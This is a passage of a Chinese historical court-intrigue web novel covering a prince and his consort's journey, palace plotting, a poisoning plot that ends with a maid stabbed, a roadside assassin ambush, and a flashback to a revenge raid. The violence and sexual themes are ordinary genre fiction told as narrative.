双手抱在胸前,她头靠着墙壁,态度高冷地闭目养神起来。 “银票我不要了。” 她慢声慢语,带着点云淡风轻的调调。 “太子殿下纡尊降贵,大老远追来,还陪我风流了一夜。” “夫妻一场,这些银票全当犒劳殿下了。” “拿着回去买些壮阳补肾的好药,日后铁定用得着。” “毕竟,想睡稳江山,可得有个好肾。” 一声轻叹从身侧传来,随即衣料窸窣,熟悉的气息逼近,江箐珂便觉双腿一沉。 睁眼一看,李玄尧竟然枕在了她的腿上,单手搂着她的腰,很不客套地将脸埋在她的肚子上。 她忍不住想摸他的头,可手伸到半空顿住又收回。 脑子里竟然在想,她的夜颜以后会不会也这样躺在别的女子腿上。 画面有些扎心。 江箐珂甩散了那些思绪,又闭上了眼。 马车一路奔驰,颠得人身子也跟着摇摇晃晃。 许是昨夜折腾得久了,早上又起得早,两人竟也就这么睡着了。 …… 京城,御花园。 春光和煦。 惠贵妃拖着迤地华服,端着雍容华贵之姿,同十皇子李铮在园内散步。 行至莲池上的栈桥长廊,两人端着瓷碗,开始喂池子里的数十尾锦鲤。 李铮随手撒了几下鱼食后,无精打采道:“母妃倒是替儿臣想想法子啊。” “父皇今早突然下旨,将东营封给儿臣,并任命儿臣为东营刺史,让儿臣在十五日之内,务必起程赶赴封地任职。” “这说得好听,是得了封地的东营王,可体面之下,还不是为了太子顺利登基,有意将儿臣赶出京城。” “还很怕儿臣图谋不轨,给的官职都不是执掌军权的大都督,而是给了个刺史。” 李铮愤愤不满,连鱼食撒得都带了点脾气。 “这下,不知有多少人要在背地里笑话儿臣了。” “父皇此举,甚是偏心。” 惠贵妃恨铁不成钢地看了他一眼,慢声言语。 “如此沉不住气可还行?” “在我看来,皇上让你去东营,倒也未必是件坏事。” “你不仅要去,且越早动身越好,还得去得兴高采烈。” 李铮茫然:“母妃此话怎讲?” 惠贵妃眼底闪过几丝无奈,可还是端着慈母的姿态,细细同他讲明。 “去了东营,便可暂且让你父皇和太子放下戒心。” “也让天下人知晓,你无心争夺皇位,是个喜欢逍遥自在的东营王。” “且到了那边,少了人盯着你,做什么事岂不更方便。” 李铮恍然大悟地点头认同。 “母妃所言极是。” 红唇浅浅一勾,惠贵妃又给李铮吃定心丸。 “铮儿尽管放心,母妃定会让你成为大周君王。” 李铮躬身拱手。 “儿臣谢母妃,日后定会好生孝敬母妃。” “不,是母后。” 惠贵妃笑道:“就你嘴甜。” 适时,李铮想起一件事来。 “对了,母妃,前几日,儿臣去万佛寺为母妃焚香祈福,在佛寺里小住了两日。” “无意中又遇到了东宫的穆良媛。” 知子莫若母,惠贵妃立马察觉出什么来,看向李铮的目光也犀利了几分。 但她并未言语,而是静静地等着李铮把话说完。 “穆良媛托我给母妃带句话,说是知晓东宫太子的一个大秘密,若是母妃感兴趣,想请母妃去万佛寺一谈。” “还说,她知晓的秘密,可助母妃与我让太子无缘皇位。” 惠贵妃冷声道:“不就是异瞳的秘密吗,本宫早就知晓,何须她告诉。” 李铮也有些拿不准。 “可从穆良媛透漏给儿臣的话来看,倒像是别的事。” “哦?” 惠贵妃来了兴趣。 “那她想从本宫这里得到什么呢?” 李铮突然低头不语。 惠贵妃瞧了他一眼,便心如明镜。 “你又招惹她了?” 李铮干笑狡辩。 “眼下这个节骨眼,儿臣岂敢去招惹太子的女人。” “是她主动勾引儿臣的。” “儿臣想着母妃也想拉拢她,便随了她的意,想着帮母妃从她嘴里套点话出来,看看能不能为我们所用。” “不过……” 说到男女之事,李铮就来了兴致,连眼睛都有了光。 “说来也是奇怪。” “那穆良媛跟了太子这么久,还进过教坊司,竟然还是处子之身。” 惠贵妃抬手戳了下李铮的额头。 “你啊,跟你三皇兄一样,就绕不过女人这个关。” “那么多女人不玩,偏偏跑到佛寺里玩太子的女人?” “太子好歹也是你皇兄。” “若是被人发现传出去,简直有损皇家颜面,是伤风败俗的大丑事。” 李铮躬身认罪。 “儿臣知错了。” “但,确实是她先勾引的我,光溜溜地往儿臣身上贴,儿臣哪还把持得住。” 惠贵妃叹了口气。 “玩归玩儿,离京前,可千万要仔细着点儿。” “否则,弟夺兄妻,那就是淫乱宫闱的大罪,日后想翻身登基都难。” 李铮答:“儿臣谨记母妃教诲,定小心行事。” “她该不是套不住太子,痴心妄想,要跟你讨个名份吧?” 惠贵妃一语中的。 李铮讪讪笑道:“嗨,到时给她换个身份,往我府里一塞,随便给个名份就是。” “胡闹!” 训责了一番,惠贵妃缓下声调来。 “你回去给穆良媛传个话,就说本宫这几日就寻个由头,去万佛寺一趟。” “儿臣遵命。” 待李铮转身要走时,惠贵妃又叫住了他。 “不日铮儿就要去东营了,如今你三皇兄也不在了,公主也都嫁为人妻,你父皇又病着,就剩本宫孤零零地在这宫里。” “倒不如,你把本宫的小皇孙留下,让他在宫里陪陪为娘吧。” “左右母妃也是要助你重返京城的,何必带着本宫的小皇孙折腾来折腾去,在路上吃辛苦呢。” 李铮想了想,觉得十分有道理。 “儿臣明日就命王妃将牧儿送到宫里。” “还是铮儿孝顺。” 惠贵妃满意地笑了。 而在转身之际,那脸上的笑意又加深了几分。 第139章 修枝(临时加更) 李铮出宫后,上了马车,在侍卫的护送下,又颠颠地朝着万佛寺的方向而去。 待李铮进了佛门后,一个挑着担子卖核桃的男子止了步,转身又扛着担子,朝来时的路而去。 待午时,文武百官皆已退朝时,那人便挑着担子进了穆府。 “见过穆大人。” “曹公公命在下同穆大人送个信儿。” 头发花白的穆元雄身着红色官服在身,双手负在身后,如松柏一般挺立在博古架前。 在外人眼前,他总是这副清高端正、儒雅谦恭的长者之态。 “何事?”穆元雄沉声问。 “在下受太子之命,一直于暗中盯着十皇子的一举一动。” “近些日子,十皇子虽无其他大动作,却有一事,在下觉得有些异常。” “十皇子本不是信佛之人,自上次同惠贵妃去过万佛寺后,便时常去万佛寺礼佛,并留在寺中过夜禅修。” “但自三皇子一事后,十皇子身边安插了数名侍卫和暗卫。” “且在下身份低微,既无法进到万佛寺的后殿,又怕贸然进去暴露身份,引来暗卫的注意,便始终未能入寺瞧个究竟。” “眼下太子殿下不在京城,便受曹公公之命,来同穆大人禀报,请穆大人定夺。” 穆元雄思忖了片刻,问道:“十皇子现下在何处?” “万佛寺。” 将手中的书册放回博古架上,穆元雄转身又问:“那十皇子这两日都还去了何处?” “这两日都只在万佛寺。” “今早也是王府里的人到万佛寺送信,十皇子才匆匆赶回去接的圣旨。” “接了圣旨后,便进了宫,想来是去宫里见惠贵妃。” “在宫里待了不到一个时辰,就又去了万佛寺。” 穆元雄亦是感到蹊跷,沉静幽深的眼底闪过一丝疑惑。 “前日去住了两日,今日又去?” “正是。” 走到案桌前缓缓坐下,穆元雄一边盘着玉佩,一边冷目思忖。 半晌过后,他沉声言道:“此事我已知晓,你先回去继续盯着十皇子,若再有其他异样,速来禀报。” 待李玄尧的暗探走后,穆元雄在书房里坐了许久。 “来人!” 他唤来府上的小厮。 “备车,去万佛寺。” 可穆元雄换好衣服刚要出门,穆汐身边的鹂莺就来了穆府。 鹂莺神色异常凝重:“先生,鹂莺有事禀报。” 穆元雄在看到鹂莺的瞬间,深邃沉敛的眼中便多了几分笃定。 待回到书房,他漠声开口:“可是关于良媛的?” “正是。” “奴婢今日也是借入城置办些香料茶叶为由,赶来同先生禀告的。” 穆元雄目光沉沉地看着鹂莺,等着她接下来的话。 似是难以开口,鹂莺抿唇斟酌字句,最后启唇道:“良媛不知从何时起......与十皇子有染。” 穆元雄的眸光瞬时锐利无比,阴恻恻的,仿若被激怒的毒蛇。 仿若事情比他预想的要严重。 “你是如何发现的?”穆元雄问。 “奴婢也是偶然一次起夜发现良媛不在房中的。” “当时不知良媛去了何处,出去寻了一番也未寻到,待躺在床上,等到天亮破晓前,良媛才悄悄回房。” “而在服侍小姐洗漱更衣时,奴婢发现......她身上有几处......痕迹。” “后又留心瞧了眼小姐手臂,发现那颗守宫砂早已不见。” “自那日起,奴婢便开始留意小姐的举动。” “良媛虽不是每晚都会离开房间,但隔个一两日就会趁奴婢睡着后悄悄离开禅房。” “奴婢偷偷跟了一次,发现小姐竟进了别的禅房。” “后来奴婢同寺内的僧人打听,才知是十皇子。” “怕小姐惹出什么祸事,奴婢便想着速速来同先生禀告才是。” 穆元雄赞许道:“你心思向来比别人细腻,这次也做得很好。” 随即,他又问:“此事可还有其他人知晓?” 鹂莺摇头。 “据奴婢所知,应该还无旁人知道此事。” 穆元雄起身,走到轩窗前,开始摆弄那里的一盆罗汉松。 无言思忖之时,他拿起花盆旁修剪枝叶的剪子,寻着一处略显突兀的枝杈,下狠剪了下去。 “这树木花草需得时常修剪,去其无用枝叶,方能养成佳景。” 鹂莺听出了话外音:“先生的意思是......” “早点动手,越快越好,以免夜长梦多。” 鹂莺本该领了命便走的,却站在书房里迟迟未动。 “怎么?”穆元雄沉声问。 鹂莺垂眼嗫喏。 “奴婢觉得良媛虽犯了错,却罪不至死,先生若担心小姐日后会坏事,倒不如将穆汐这个名字抹除,把良媛送得远远的,让她隐姓埋名活着。” 穆元雄冷云淡风轻地笑了一声。 “可她是那个性子吗?” “知女莫若......” 穆元雄说到一半突然顿住,捋了捋白须,又轻描淡写道:“本就是夫人当年与我庶弟私通所生的孽障,养她这么大,也算仁至义尽。” 鹂莺似是第一次听闻此事,一脸震惊地抬起头来,双目圆睁地看向穆元雄。 “罢了罢了,早是过去多年的家丑。” 穆元雄挥了挥手,示意鹂莺退下:“快回去吧,免得让她起疑,难于下手。” 第140章 被江止染红的 鹂莺回到万佛寺时,穆汐仍在禅房里安安静静地抄着经书。 听到声响,她也只是抬眸冷冷地瞧了一眼。 被废弃的棋子,角落里一把许久未动的古琴。 无人在意,也无人想起,直到承载的记忆和过往彻底被浮尘掩盖。 “小主定是口渴了吧。” 脆生生的一句,如黄鹂婉转啼鸣,打破了屋内的宁静。 鹂莺到茶炉前,开始准备烧水泡茶。 “奴婢买了您喜欢的峨眉白芽,这就给小主泡一盏。” 穆汐漫不经心地点了点头。 点火、烧水。 没多久紫砂壶里的水就开始咕嘟咕嘟地沸腾起来。 鹂莺在往茶盏里加茶叶时,背对着穆汐,从衣袖里掏出了穆元雄之前给她的那瓶毒药。 瓶盖打开,瓶口悬停在茶盏上方,一只手不受控地开始微微颤抖。 主仆情谊多年,鹂莺终是下不了狠心,遂暂时收了手。 可正当她将那瓶毒药塞回袖袋里时,穆汐突然出现在她身后,轻轻拍了下她的肩。 鹂莺吓得大惊失色,手一抖,那瓶毒药竟掉了出来,落在矮榻上,又滚到了茶桌之下。 穆汐看到后,将其捡起,面色平平地递还给了鹂莺,也没问是什么。 她手语比划。 【字写得太久,我有些累,出去走走。】 鹂莺回过神来,迅速将毒药收好,并点头应承。 “那奴婢陪小主出去吧。” 穆汐莞尔摇头。 【你刚从外面回来,先好好休息吧。】 穆汐这一出去,直到黄昏时候才回来,且也到了寺里发斋饭的时候。 鹂莺提着食盒,取了两碗素面回来。 直到进屋前,仍未忍心将毒药下到面里。 而穆汐也毫无戒备之心地将那碗面吃了一大半。 待到夜里,纠结了许久的鹂莺终于咬牙下了狠心,将那药偷偷倒进了茶壶里。 穆汐入睡前感到口渴,便要了一盏茶喝了下。 鹂莺心怀忐忑地看着穆汐将那茶喝完,愧疚和哀怜之色渐渐浮于脸上。 穆汐走到床前坐下,如往常一般,冷冷抬眸看向鹂莺。 主仆二人对视。 一个眼底逐渐浮出得意的笑,一个瞳孔逐渐放大,愧疚和哀怜一点点被惊诧错愕所取代。 【怎么了?】 【为何从我喝下那盏茶,就这么看着我?】 穆汐一边比划着手语,一边朝鹂莺走去。 【就好像很期待我死一样。】 她皱眉撇嘴笑着,并从衣袖里也拿出了一个小瓷瓶。 【是因为这个?】 鹂莺难以置信地摇头,并退着步子。 穆汐轻蔑地白了她一眼,随即便抡了鹂莺一巴掌。 愤怒的双手用力地比划着。 【毒药谁给你的?】 鹂莺立马下跪道:“奴婢有罪。” 穆汐捏着鹂莺的下巴尖用力抬起,又手语问她。 【兄长?】 【还是我父亲?】 鹂莺避而不答,却含泪劝她。 “小主,你逃吧。” “逃得越远越好。” “去个没人识得你的地方,寻个良人,好好过日子吧。” “奴婢会想法子帮小主隐瞒的。” 穆汐偏头看着别处想了想,半晌过后,似乎情绪平静下来,冲着鹂莺点了点头。 【那你去帮我收拾下行囊。】 鹂莺擦干泪,笑道:“奴婢这就去。” 她站起转身,准备去替穆汐收拾衣物。 可刚迈了两步,一把剪刀便从身后刺进了她的脖子。 温热的液体流出,又顺着衣襟流进身体里,房间里也隐隐散发着血腥气。 鹂莺转身看向穆汐,泪水顺着眼角流淌,惊诧之余,无力启唇唤了声“小主”。 生命随着鲜血一点点流逝,她瘫倒在地,任由意识也在一点点消失。 最后一眼,鹂莺看到穆汐对着她歪头笑着,双手比划了一句话。 【下辈子,藏东西小心点。】 最后一点清明,鹂莺的脑海里却闪过一抹鲜红色。 鲜衣怒马少年郎,放荡不羁,恣意风流,是京城里没有的颜色。 雪狩前那晚的夜宴上,起初她只是受穆汐之命,认真观察那人的一举一动,一言一行,包括他每次勾唇斜笑的表情,还有他说话时的样子以及声音,以便日后模仿。 可是瞧着瞧着,便瞧进了心里。 他不经意地朝她扫了一眼过了,目光交错,他一侧眉头轻耸,又似有所想似地冲她眨了下眼。 他低头勾唇随意一笑,鹂莺的心头便被狠狠地烫了一下。 她不懂,怎会有人活得如此随性,完全不在乎别人的目光。 又怎会有人连笑的时候,都那么地耀眼炫目,好像雪晴后的世界,亮得刺眼。 鹂莺想,他应该已经不记得她了吧。 那个在寒夜里,学着江箐珂的声音,叩响他房门的“坏人”。 最后一丝的清明随着那抹红色,被黑色一起吞噬。 所以,鹂莺的底色,是红色。 被江止染红的。 而红彤彤的大火送走了红色的她,引得万佛寺的禅房喧杂一片。 自此,世上再无“穆汐”这个人。 第141章 不懂事 两辆车,数匹马。 途经驿站休息了两次后,披星戴月地还在奔着京城赶夜路。 夜里的黑是很好的保护色,所以马车连个灯笼都没挂,就连车内四角悬挂的灯笼也仅留了一盏。 光线微弱暗黄,车外看起来也并不显亮。 小茶桌放到一旁,腾出宽敞的位置,刚好够两人相依而卧。 高高大大的一个人,此时却像个大孩子似的,窝在江箐珂怀里睡得正熟。 柔顺的青丝用那枚黑檀簪子半披半束,几缕碎发随意地散在他冷白的面颊上,竟有种美人易碎的既视感。 不得不说,李玄尧是好看的。 而那双眼睛在紧闭时,则与常人无异。 长睫覆目,纤羽如画。 手指凑过去轻蹭,触感毛茸茸,痒得人心也跟着痒痒的。 似是被弄得烦了,李玄尧的脸轻轻动了几下,双手紧搂着江箐珂,闭眼寻到她的唇亲了亲,又安安静静地陷入熟睡之中。 江箐珂睡不着,因为她有点想小解,却羞于开口叫醒李玄尧。 她同李玄尧虽然什么荒唐的事儿都做过,可这种污浊之事,在宫里都还是避着彼此的。 更何况她这一叫听,马车外的十几名侍卫都知道她要小解了。 想着能憋一会儿是一会儿,待坚持到下个官道驿站,便可寻处茅厕悄声解决。 可人有时就是很奇怪。 越想忽略一件事,下意识中便会越在意。 小解之意越来越强,明明马车跑得很快,她却觉得时间慢得熬人。 偏偏马车还颠啊颠的,颠得江箐珂膀胱好似要炸了。 忍不住了。 江箐珂硬着头皮推了推李玄尧。 “夜颜。” 她凑到他耳边,声音压得很低:“我想方便下。” 李玄尧只是头动了动,却并没有醒。 “夜颜,你再不醒,我可就跑了。” 一句话而已,却好似一句极有效的咒语,惊得李玄尧立刻从睡梦中睁开了眼。 江箐珂目光灼灼地看着他,问:“你一定也很想下车方便方便吧?” 李玄尧先是一愣,随即睡眼惺忪地点头笑了笑。 江箐珂立马坐起身,拉开木窗同跟在马车旁的谷丰道:“殿下尿急,让大家先停停。” 下马车前,江箐珂迫不及待地晃了晃脚上的铐链。 “这个快给我解开,不然会弄脏。” 李玄尧想了想,做出了妥协。 铁链虽从她的脚上取了下来,却又铐住了江箐珂的一只手,而另一个则被李玄尧铐在了自己的腕上。 江箐珂急得很,懒得计较这些,拉着李玄尧一起跳下了马车。 官道两侧,远山近林,浅淡的玄月洒下一片斑驳的光影。 正要蹲下脱裤子时,江箐珂才想起一件事来。 仰头看向正低头瞧她的李玄尧,她尴尬得脚指头都在抠地。 “这有什么好看的?” 一句质问后,江箐珂晃了晃两人之间的铁链,好声好气地商量道:“就方便下而已,我肯定不跑,咱先把这链子取下去吧,如何?” 李玄尧摇头拒绝。 江箐珂翻了个白眼无语。 人有三急,懒得跟他计较。 “那你转过身去!” 李玄尧听话地转过身去。 “不许听!” “把耳朵捂上!” 可铁链太短,李玄尧那高个子,手臂抬起来,就把江箐珂半个身子也给提了起来。 她又不是男人,没法站着解决。 咬牙憋火,江箐珂从怀里掏出个帕子,塞住了李玄尧的一个耳朵里。 “另个耳朵捂好,不许偷听。” 李玄尧照做。 背对着她,目视前方,一只手捂着左耳。 江箐珂担心他没捂严,还试探性地喊了他一声。 “夜颜?” “夜颜,你能听到吗?” 没反应。 江箐珂终于放心了。 她憋得不行,开始单手提裙解裤要行方便。 可动作却突然定在了此刻。 许是将门之女的血脉使然,让她在野外天生对敌意和杀气有着本能的警觉。 她直起身子,侧头用余光警惕着身后。 林深之处黑魆魆的,沉寂幽静,听不到半点声响。 可不知为何,江箐珂却有种被凝视的不快感。 心想许是自己太过敏感,若有所思地歪头否认了直觉,便收回了余光。 正当里裤的腰带解到一半,林中飞鸟突然惊起无数,几道羽箭随即拉着劲风从密林中朝她二人射来。 江箐珂在扯出腰间刺龙鞭时,快步挪至李玄尧的身后。 一个鞭花甩出,在李玄尧察觉到异样转身时,已经将那几波箭雨打得四散。 却不曾想还有一支漏网之箭,擦着鞭子而过,径直朝江箐珂的眉心射来,让人来不及躲闪。 明明只是一瞬间的事,周遭的世界却像被妖怪施了法术一般,一切都慢了下来。 风声很慢。 发丝从眼前飘过的速度也很慢。 慢得可以看清箭矢朝眉心射来的每一瞬。 求生的本能之下,头微微后仰,江箐珂猛然抬手去抓那支羽箭。 而腰间一紧,江箐珂的身子被拖到旁侧,在距李玄尧喉间半拳之距前,大手快而准地抓住了那支箭,并在入手的那刹那,凭蛮力将其折成了两截。 变慢的世界又恢复了正常。 一道道黑影从黑暗中闪现,带着一道道玄月型的寒光杀来。 谷丰等人闻声赶来,立刻将李玄尧和江箐珂围护在中心。 一场夜色下的厮杀,于此时正式开始。 而江箐珂此时却恼火得不行。 这些当刺客的,就不能懂点儿事? 早不来,晚不来,偏偏在她要方便时来? 她今晚若是死,估计也是被尿给活活憋死的。 暴脾气上来,江箐珂特想抽人。 “别拦着我!” “我今晚非得抽死一个不成!” 江箐珂想冲上去跟那几个刺客打,偏偏李玄尧搂着她不肯放,且两人之间还有个铁链牵连着,束手束脚的,根本无法施展。 是时,江止也提着剑赶来。 危急时刻,无人在意他手上脚上的链子是怎么没的。 江止不顾别人,只顾江箐珂。 他站在江箐珂的身侧,提着剑,跟着李玄尧一同护着她。 但江箐珂被三急之一憋得不行,弯身夹腿,扭得跟蚯蚓似的,忍得痛苦。 江止侧头瞧她,了然道:“憋不住了?” 江箐珂用力点头。 江止用力歪了下脖子,咯噔一声脆响后,扯着脖子跟那几个刺客嚎了几嗓子。 “老子让你们三招,他妈的能不能等会儿再杀?” 显然,没人搭理他。 江箐珂也没心思无语。 她转身抓着李玄尧的衣袖,开始哼哼唧唧。 “夜颜。” “你能不能打开这链子,我真要憋死了。” “堂堂太子妃,若是落个尿裤子的名声,以后我可怎么在东宫抬头做人啊。” 眼看着另有刺客从树上提剑朝他三人刺来,江止提剑迎上厮杀。 李玄尧回头看向马车,也想取来武器速战速决。 且对方明显是冲着杀他来的,将江箐珂铐在身侧,确实危险。 碍于多种考虑,他只好打开腕上的镣铐,暂时放了江箐珂的自由。 江箐珂捂着肚子,弯着腰,夹着腿,艰难地朝远处挪着步子, 偏偏有刺客不懂事,又提刀朝她而来。 江箐珂抬手示意对方止步,咬着后槽牙商量道:“大哥,能不能先停一停,等会儿再打,让我先方便下?这样死也能死得舒服些。” 刺客哪管这事儿,提刀就朝她砍来。 可刀抬到半空,一把利剑从那人背后刺穿了胸膛。 刺客倒下,李玄尧提着长剑,于夜色之下,映入江箐珂的眼帘。 江箐珂冲他翘了下大拇指,又继续像蜗牛一样挪步,赶着去隐秘之处小解。 这边银河落九天,那边是刀剑铿锵,血溅四方。 刺客都死了,而江箐珂却终于活过来了。 人活了,小心思也跟着活泛起来。 第142章 不记得 趁乱而逃的念头在风干时蠢蠢欲动。 待江箐珂收拾妥当起身回来时,便见不远处的马车旁,两个肩宽腰细、身材高挺的男子并肩立于夜色下。 一个站姿笔挺,端正威严;一个侧歪着身子,吊儿郎当。 而吊儿郎当的那个已被绑成了粽子。 李玄尧则提着剑,站在江止的身侧,姿态从容闲适地瞧望着江箐珂。 画面独特,一正一邪,江箐珂突然觉得李玄尧和江止还挺般配的。 但李玄尧力气大如牛,阿兄肯定是要被按在身下...... 等一下! 她在想什么? 江箐珂立马摇头,摇散了脑子里奇奇怪怪的画面。 但不得不承认,李玄尧是会拿捏人的。 江止都这样了,她还逃什么? 活泛的小心思就这么悄然死去。 南星和谷丰带人清理官道,将刺客的尸体都扔到两侧的林子里,让他们曝尸荒野,任其在林中发烂发臭。 江箐珂在朝马车走的途中,捡起地上的一把偃月刀。 适才没留意,此刻她却纳起闷来。 这种刀,江箐珂可太认得了。 每每看到偃月刀,她便会想起一个人来。 大周的刀匠从不打造这种刀,偃月刀是与西齐国最常用的兵器。 西齐与西延接壤,时不时就打几仗,江箐珂自是熟悉。 遂,她不由怀疑起这群刺客的来头? 手提着偃月刀,江箐珂来到李玄尧和江止二人身前。 “阿兄,你看这刀。” 江止早有留意,遂神色平平地懒声道:“西齐偃月刀!” 适时,黑甲卫南星前来禀告。 “殿下,刺客身上并未搜到能确认身份的物件,且每个刺客口中都还含了毒药,看来都是死士。” 闻声,江箐珂便言:“扒他们衣服,看看身上可有月牙状的图腾刺青。” 南星领命,提着灯笼而去,很快又跑了过来。 “如太子妃所言,有两名刺客的身上确有月牙状的刺青。” 江止愈发地肯定。 “那就是西齐那帮狗杂碎。” 这江箐珂就想不通了。 李玄尧的身份尚未公开,知晓他离宫南下的人少之又少。 就算京城里有人知晓此事,暗中派人跟随,伺机刺杀,可为何会隔着千里让西齐人来行刺? 还是说,刺客的目标不是李玄尧,而是她和江止? 这么一想,倒也不是没有可能。 而李玄尧从江箐珂手中接过那把偃月刀打量,神色亦是疑惑。 会派人来杀他的,此时可疑性最大的,便是穆元雄和惠贵妃。 而穆元雄知晓他的行程,是嫌疑最大的人。 但找人杀他又何必千里迢迢去找西齐人? 难道就是想利用此点来避开嫌疑,为刺杀失败留条后路? 若真是穆元雄,他又是如何与西齐人有牵连的? 另一边,江止似乎想到了什么。 他突然惊道:“该不是程彻那狗杂碎派的人?” 陌生的人名,听得李玄尧一侧眉头轻挑,开始同南星静静地在旁听着兄妹二人的对话。 江箐珂疑惑。 “可这隔着十万八千里的,他又是如何知晓我和阿兄行踪的?” 江止偏头思索,不太确定道:“或许,西齐细作混入了京城,早就盯上咱们了?” 江箐珂觉得模棱两可。 “既然早就盯上我们,为何偏偏选择最难杀的时候对我们下手?” “咱俩在长洲城不是最好的动手时机吗?” 江止点头附和。 “也是。” 可不管这些刺客什么来头,京城要回,路要赶。 江止被谷丰押上后面那辆马车,又与喜晴关在了一起。 马车轧着石子,一群人继续前行。 车内,李玄尧同江箐珂问程彻是谁。 说起程彻,话不长却也不短。 好像是十四岁那年,江箐珂同江止、还有军营里的几位兵将,去与西齐接壤的一处野山打猎,打算给军中将士打牙祭。 江箐珂射中了一头傻狍子,可那傻狍子没死透,蹭蹭地带着箭跑了好远。 她骑马去追,却不曾想未注意,踩到了猎户为抓活物而设的陷阱。 四个蹄子的马挣扎挣扎没掉进去,倒是把她给甩到了坑里。 喊了许久,等了许久,竟等来个少年。 那少年好心顺了个绳子下去,把江箐珂给救了上来。 江箐珂喜盈盈地道了声谢,少年发现她口音不是西齐人,登时变脸,又给她推回了坑里。 可江箐珂也不是吃素的。 掉下的时候,她顺手把那少年也拽了下去,给她当垫背的。 两人在坑里扭打。 江箐珂的头发被扯成了鸡窝,少年的脸也被她挠花。 两人打到精疲力尽,打到又一头傻狍子掉进来,坑里拥挤得再无法打架。 待江止带人寻来后,一伙人便把这少年给绑回了军营。 后来,才知晓这少年乃西齐国骠骑大将军的小儿子,名叫程彻。 程家军......那可是江家军的死对头。 这死对头的儿子落到江箐珂和江止的手里,山羊舔脚,房梁倒挂......那自是没好日子过。 后来,江箐珂父亲用程彻,同西齐换回了几十名被俘虏去的大周百姓和兵卒。 也就是自打这起,梁子结下了,程彻发誓定要亲手杀了江箐珂和江止泄恨。 每逢西齐和大周有战事时,程彻定会带兵迎战,主打江家兄妹二人。 一盏流苏灯笼挂在车内的一角,随着车身轻轻晃动,流泻出暖和柔和的光,映照着车内的人和物。 李玄尧听了江箐珂讲的往事后,异瞳低垂,遮掩眼底闪过的几许落寞。 沉默了须臾,他提笔落字。 【五年前的少年你都记得,可为何不记得我?】 江箐珂眨了眨眼,茫然地看着李玄尧。 在她的印象中,从未见过异瞳之人。 更何况,李玄尧在生在京城,长在京城,她在西延上哪儿见? 唯一出了一次院门,也就是金陵。 金陵? 第143章 冤家路窄 江箐珂突然想起三年前在金陵的事,还有她失手杀了的那个少年贼。 也不能说失手。 是那贼先动手要掐死她的。 记忆的浮尘被拂开,三年前的往事也变得清晰起来。 那年外祖父离世,阿兄便陪她快马加鞭地从西延赶到金陵奔丧。 到了白府,才知晓外祖父是被活活气死的。 起因是当地石刺史的儿子是金陵一霸,专行欺凌弱小、强掠民女之事。 江箐珂的表姐因为生得貌美,被那金陵一霸给盯上了。 光天化日之下,将她表姐强行拖到马车上玷污了清白,顺势便收到了府上做二房。 当妾便当妾吧,偏偏这金陵一霸不干人事。 招来几个狐朋狗友在家中饮酒作乐,命江箐珂的表姐在旁陪酒助兴,酒过三巡,淫性大发,强行让人给她灌了春药,跟着那些狐朋狗友一起把人给蹂躏糟蹋了。 江箐珂的表姐不堪其辱,便留下遗书,当晚于房中上吊自尽。 好好一个姑娘,就这么没了。 外祖父知晓此事,怒火攻心,气得吐血而亡。 只因石刺史此人来头不小,据说在京城有贵人撑腰,是以,在金陵权势滔天,无人敢惹。 即使白家人一张张状纸上呈到官府,亦是投告无门。 江箐珂和江止知晓此事后,咽不下这口气。 明的不行,就来暗的。 于是,两人便于夜里偷偷遛出白府,翻墙潜入了石刺史的府上。 江止去杀那金陵小霸王,江箐珂则拎着两个大布袋子,跑到库房去偷财,打算将石刺史近些年来搜刮的民脂民膏都给金陵的百姓分了。 只是,江箐珂没想到,竟然还在那库房里遇到了一个黑衣贼。 当时,库房里黑洞洞的,根本看不清他的脸,且他还戴着个黑纱帷帽,也不嫌黑上加黑。 江箐珂刚要好好跟他商量,说各拿各的,谁知道那贼一上来就是杀气腾腾,一把掐住她的脖子将人按到墙上,根本不给活路。 为了活命,江箐珂便拔出匕首刺了他两刀。 那人是卸了力,可库房外却传来脚步声,似有人要进库房。 江箐珂担心被发现,便将李玄尧拖到角落里两个大箱子后面。 空隙狭小,江箐珂只能趴在李玄尧的身上躲藏。 她死死地捂住他的嘴,很怕他发声暴露。 待脚步声远去,她立即起身,将库房里能带走的金银珠宝,全都塞到布袋子里。 临走前,她还去踢了一脚那贼。 见人没反应,又上前探了探鼻息。 出气少,好像是活不成了。 听到江止在外面发着布谷布谷的暗号,江箐珂也顾不了太多,说了句“是你先动手的,做鬼后可别找我啊”的话后,她便溜出了库房。 可出了库房,江箐珂和江止却发现石府里的人都死了。 到处是血,到处是死状凄惨的尸体。 简直是大快人心! 在要逃出是非之地时,她和江止还遇上一群黑衣人,似乎误会他二人是石府的人,便提着剑,朝他们杀来。 ...... 思绪回笼,江箐珂心里冒出个念头。 难道那个贼是......? 衡帝那句毫无缘由的“难怪”,也猝然在她脑海里响起。 茫然退去,她美眸圆睁,难以置信地看着李玄尧。 对了! 那个少年贼当时也戴着黑色的帷帽。 “你去过金陵?” 江箐珂还是问了一句。 李玄尧也不回答,只是一味地看着她笑,柔和暖黄的光在那双异瞳里碎成星星点点。 江箐珂伸手一把扒开他的衣服。 大敞的衣襟下,胸膛前那两三道交错的刀疤赫然入目。 无论何时看,都是那么地狰狞而可怖。 是的。 她当时为了活命,是拼尽最后一点气力下了狠手的。 如今细细想来,匕首刺入后的划割痕迹,还真与李玄尧胸前的刀疤形状相吻合。 江箐珂惊喜又诧异:“你竟然没死?” 李玄尧牵起她的手,引着江箐珂触摸他胸口的疤痕。 指腹顺着刀疤的纹路,在那条条粉色的凸起上游移。 轻轻的,慢慢的。 温热柔滑的触感在他的肌肤上带起一片痒意,引得胸肌忍不住颤栗抽动了两下。 “当时很疼吧?” 江箐珂柔声问他,眉眼染上了几分歉意。 李玄尧点头,眼巴巴看着江箐珂扮起了可怜,手语示意。 【你亲亲这里,就不疼了。】 江箐珂差点就着道。 “那也是你要先杀我在先,活该你疼。” “当时,我脖子都要让你掐断了。” 她撇嘴翻着旧账,并试图将手抽回。 无奈李玄尧力气大得很,江箐珂根本拗不过,只能任由他将手扣在他的胸口。 温烫的体温,强有力的心跳,隔着肌肤传到她的掌心。 略显逼仄的马车内,空气升温,有人呼吸声开始加重。 李玄尧抬起另一只手,覆在江箐珂的脖子上,轻轻摩挲的同时,脸也在逐渐朝江箐珂靠近。 偏头,吻下。 却又被怀里的人侧头躲开,让人意犹未尽。 江箐珂好奇道:“所以石刺史是被你屠了全府?” 李玄尧似乎并不想谈这些,敷衍地点了点头,把人往怀里揽,只想一亲芳泽。 偏偏江箐珂又将他推开,像打开了话匣子似的,问题一个接着一个。 “杀石刺史可是为了报仇?” 李玄尧颔首,手语答复。 【还有寻样东西。】 